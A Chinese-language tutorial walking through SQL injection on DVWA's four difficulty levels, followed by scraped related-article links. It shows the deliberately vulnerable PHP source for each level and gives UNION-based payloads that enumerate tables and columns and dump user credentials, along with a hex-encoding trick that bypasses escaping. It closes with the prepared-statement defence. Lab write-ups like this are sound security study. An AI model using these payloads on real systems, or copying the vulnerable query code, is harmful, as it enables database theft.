SQL Injection,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的。结构,从而达到执行恶意SQL语句的目的。

LOW:

代码审计:


SQL Injection Source
vulnerabilities/sqli/source/low.php
<?php
//isset() 用于检查变量是否已设置并且非 NULL。
if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];
//在这里没有对我们传进来的参数做任何检查
    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
            // Get results
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // Get values
                $first = $row["first_name"];
                $last  = $row["last_name"];
                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }
            mysqli_close($GLOBALS["___mysqli_ston"]);
            break;
        case SQLITE:
            global $sqlite_db_connection;
            #$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
            #$sqlite_db_connection->enableExceptions(true);
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            #print $query;
            try {
                $results = $sqlite_db_connection->query($query);
            } catch (Exception $e) {
                echo 'Caught exception: ' . $e->getMessage();
                exit();
            }
            if ($results) {
                while ($row = $results->fetchArray()) {
                    // Get values
                    $first = $row["first_name"];
                    $last  = $row["last_name"];
                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
            } else {
                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
            }
            break;
    }
}
?>

由以上分析我们可以得知我们在注入式应采用字符注入的方式。

注意:

SQL 字符注入是指攻击者通过输入恶意字符来破坏应用程序的 SQL 语句。例如,攻击者可以通过在输入字段中插入单引号或其他特殊字符来欺骗应用程序生成不安全的 SQL 查询。攻击者可以利用这种漏洞来执行恶意的 SQL 代码,例如删除、修改或暴露数据库中的数据。

数字型注入类似于 SQL 字符注入,但攻击者试图输入恶意数字,而不是字符。例如,攻击者可以通过输入负数来欺骗应用程序生成不安全的算术计算。攻击者可以利用这种漏洞来执行恶意代码,例如在应用程序中进行溢出攻击,从而窃取数据。

漏洞利用:

(1)判断字段数。

我们使用order by 进行判断字段数, 至到order by 进行报错时候就是字段数。

1' or 1=1 order by 1 #

1' or 1=1 order by 2 #

1' or 1=1 order by 1 #

由上得知,字段数为2.

(2)确定显示的字段顺序

1' union select 1,2 #

(3)获取当前数据库

1' union select 1,database() #

(4)获取数据库中的表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

得到两张表guestbook,users

(5)获取字段名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

说明users表中有8个字段,分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

(6)获取数据

1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

信息获取结束,漏洞利用结束。

Medium:

代码审计:

SQL Injection Source
vulnerabilities/sqli/source/medium.php
<?php if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
//使用 mysqli_real_escape_string() 函数来转义单引号和双引号等特殊字符
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); switch ($_DVWA['SQLI_DB']) {
case MYSQL:
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' ); // Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"]; // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection; $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
} if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"]; // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
} // This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]);
?>

同时我们发现在前端页面设置了下拉选择表单,控制用户输入。

漏洞利用:

虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数,提交恶意构造的查询参数。

(1)判断注入类型

这里我们其实可以直接做出判断,我们在上面已经进行了代码审计,发现mysqli_real_escape_string()函数的存在,那么字符型注入肯定会遇到问题,我们直接进行数字型注入。

因为前端使用下拉菜单,所以我们得通过抓包修改参数。

(2)猜测字段数,确定回显字段顺序,获取当前数据库,获取数据库中的表

这四部分操作与Low级别差别不大,这里只附上相关语句

1 order by 3 #

1 union select 1,2 #

1 union select 1,database() #

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

(3)获取表中字段名

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users ’#

我们按照原来的思路构建了语句,但是发生了错误,是因为单引号被转义,所以我们利用十六进制绕过。

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

这里附上脚本

import binascii

input_string = "users"  # 待转换的字符串

# 使用 binascii 模块的 b2a_hex() 函数将字符串转换为十六进制格式
hex_string = binascii.b2a_hex(input_string.encode('utf-8')) print(hex_string) # 输出转换后的十六进制字符串

(4)获取数据

1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

信息获取结束,漏洞利用结束。

High:

代码审计:

SQL Injection Source
vulnerabilities/sqli/source/high.php
<?php if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ]; switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
//LIMIT 1是一个SQL查询中的限制语句,用于指定查询结果集中的最大行数。在这段代码中,它用于限制查询结果只返回一行数据,即根据会话ID获取用户的名字和姓氏。使用LIMT1可以提高查询效率,并避免在查询结果集中返回大量数据
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' ); // Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"]; // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
} ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
} if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"]; // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
} ?>

虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。注入过程和之前类似,在这里不做额外演示。

Impossible:

代码审计:

SQL Injection Source
vulnerabilities/sqli/source/impossible.php
<?php if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
//isset()用于检查变量是否已设置并且非 NULL。
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
/*checkToken() 是一个自定义函数,用于检查传递的安全令牌是否有效,以确保请求不是恶意伪造的。
该函数接受三个参数:
user_token:从用户请求中接收的安全令牌。
session_token:存储在用户会话中的安全令牌。
redirect:重定向的页面 URL。
该函数将首先检查 user_token 和 session_token 是否匹配。如果不匹配,则可能是 CSRF 攻击,该函数将终止脚本并打印错误消息。如果匹配,则函数将返回 true。
该函数通常用于处理任何可能受到 CSRF 攻击的操作(例如表单提交)。它是一种常见的安全技术,以确保请求来自预期的来源,并且用户已经授权执行请求的操作。*?
*/
// Get input
$id = $_GET[ 'id' ]; // Was a number entered?
//is_numeric用于检查一个值是否为数字或数字字符串。如果值为数字或数字字符串,则该函数返回 true,否则返回 false。
if(is_numeric( $id )) {
$id = intval ($id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch(); // Make sure only 1 result is returneda
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ]; // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection; $stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
$stmt->bindValue(':id',$id,SQLITE3_INTEGER);
$result = $stmt->execute();
$result->finalize();
if ($result !== false) {
// There is no way to get the number of rows returned
// This checks the number of columns (not rows) just
// as a precaution, but it won't stop someone dumping
// multiple rows and viewing them one at a time. $num_columns = $result->numColumns();
if ($num_columns == 2) {
$row = $result->fetchArray(); // Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ]; // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} break;
}
}
} // Generate Anti-CSRF token
generateSessionToken(); ?>

同时这段代码也使用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。

注:

PDO(PHP数据对象)是一种PHP扩展,它提供了一种抽象方式来访问数据库,而不必依赖于特定的数据库类型。PDO支持多种数据库类型,包括MySQL、SQLite、Oracle、PostgreSQL和SQL Server等。使用PDO可以实现更安全、更可移植和更灵活的数据访问,同时减少了对数据库的具体实现细节的依赖性。

使用PDO时,首先需要定义一个PDO连接对象,它包含有关数据库连接的信息,例如主机名、端口号、数据库名称、用户名和密码等。一旦建立连接,就可以通过执行SQL查询来访问数据库。PDO提供了一组方法来准备和执行查询,并返回结果集对象。可以使用绑定变量来防止SQL注入攻击,并使用PDO事务来确保数据操作的原子性和一致性。

总之,PDO技术提供了一个更安全、更灵活和更可移植的数据库访问解决方案,可以帮助开发人员编写更健壮和可维护的PHP应用程序。

DVWA-SQL Injection(SQL注入)的更多相关文章

  1. Fortify Audit Workbench 笔记 SQL Injection SQL注入

    SQL Injection SQL注入 Abstract 通过不可信来源的输入构建动态 SQL 指令,攻击者就能够修改指令的含义或者执行任意 SQL 命令. Explanation SQL injec ...

  2. DVWA全级别之SQL Injection(SQL注入)

    DVWA全级别之SQL Injection(注入)   DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web ...

  3. DVWA之SQL Injection

    SQL Injection SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害是巨大的,常常 ...

  4. DVWA系列2:SQL Injection

    DVWA系列2:SQL Injection 前言 SQL 注入是比较常见的攻击类型,之前一直听说过,也尝试看过一些教程,但其中的单引号,字符串拼接等感觉有点抽象,不知道为什么要这么做.这次就使用 DV ...

  5. 新手指南:DVWA-1.9全级别教程之SQL Injection

    *本文原创作者:lonehand,转载须注明来自FreeBuf.COM 目前,最新的DVWA已经更新到1.9版本(http://www.dvwa.co.uk/),而网上的教程大多停留在旧版本,且没有针 ...

  6. Portswigger web security academy:SQL injection

    Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...

  7. 使用sqlmap注入DVWA的SQL Injection菜单

    1 使用sqlmap注入DVWA的SQL Injection菜单 本教程中的登陆地址:http://192.168.0.112/dvwa/login.php 1.1 获取cookie信息 1) 使用a ...

  8. 【DVWA】SQL Injection(SQL 注入)通关教程

    日期:2019-07-28 20:43:48 更新: 作者:Bay0net 介绍: 0x00.基本信息 关于 mysql 相关的注入,传送门. SQL 注入漏洞之 mysql - Bay0net - ...

  9. DVWA(三):SQL injection 全等级SQL注入

    (本文不定期更新) 一.所需环境: 1.DVWA 2.web环境 phpstudy/wamp 3.burp suite 二.SQL注入产生的原因: 程序员在编写代码的时候,没有对用户输入数据的合法性进 ...

  10. DVWA SQL Injection 通关教程

    SQL Injection,即SQL注入,SQLi,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害巨大,常常会导致整个数据库被“脱 ...

随机推荐

  1. 为知笔记快速隐藏左侧 快捷键 Esc

    为知笔记快速隐藏左侧 快捷键 Esc

  2. 微信小程序云函数中管理短信验证码的完整SDK工具

    微信小程序云开发管理短信验证码并不是一件容易的事情,它不像其他web服务器开发中可以将验证码存放到session或者cookie中,你只能将其存到云开发的数据库中,实现起来非常困难.一个简单的需要短信 ...

  3. Flutter之EdgeInsets

    EdgeInsets我们看看EdgeInsets提供的便捷方法: fromLTRB(double left, double top, double right, doublebottom):分别指定四 ...

  4. Cxf框架中@WebService注解的使用

    最近工作中总是不可避免的使用WebService来对接功能,经过自己一番摸索,总结出了一些使用方法,做一下记录: 记录了两个SpringBoot版本使用WebService的一些问题和用法,Sprin ...

  5. MBR与GPT[转]

    MBR分区 MBR的意思是"主引导记录",是IBM公司早年间提出的.它是存在于磁盘驱动器开始部分的一个特殊的启动扇区. 这个扇区包含了已安装的操作系统系统信息,并用一小段代码来启动 ...

  6. Linux查看进程调用接口跟踪命令strace

    sudo strace -f -p 9022 -e connect

  7. vue项目安装淘宝镜像一直失败,解决办法

    这个问题纠缠了我好几天,刚开始把npm,node卸载了重装,发现还是一样的问题,最后发现是权限不够,下面这个方法完美解决 失败原因:没有用管理员权限执行, 解决办法:找到安装nodejs安装的路径,再 ...

  8. 3月1日Android开学学习

    Android开发的简单控件 1.文本显示 2.视图基础 3.常用布局 4.按钮触控 5.图像显示 文本显示 (1)设置文本内容 1.在XML文件中通过属性Android:text设置文本 Andro ...

  9. 需要改动node_modules,并且别人也可以同步,插件 patch-package

    patch-package 转自:https://www.cnblogs.com/lovewhatIlove/p/15724812.html 1.简介:有个功能需要修改node_modules里面的代 ...

  10. Linux /proc 目录

    /proc 目录 /proc 文件目录是一个伪文件,它只存在于系统内存中,而不占用外存空间.它以文件系统的方式为用户提供访问内核数据的操作接口.目录下主要包含进程和状态的信息. /proc 下文件含义 ...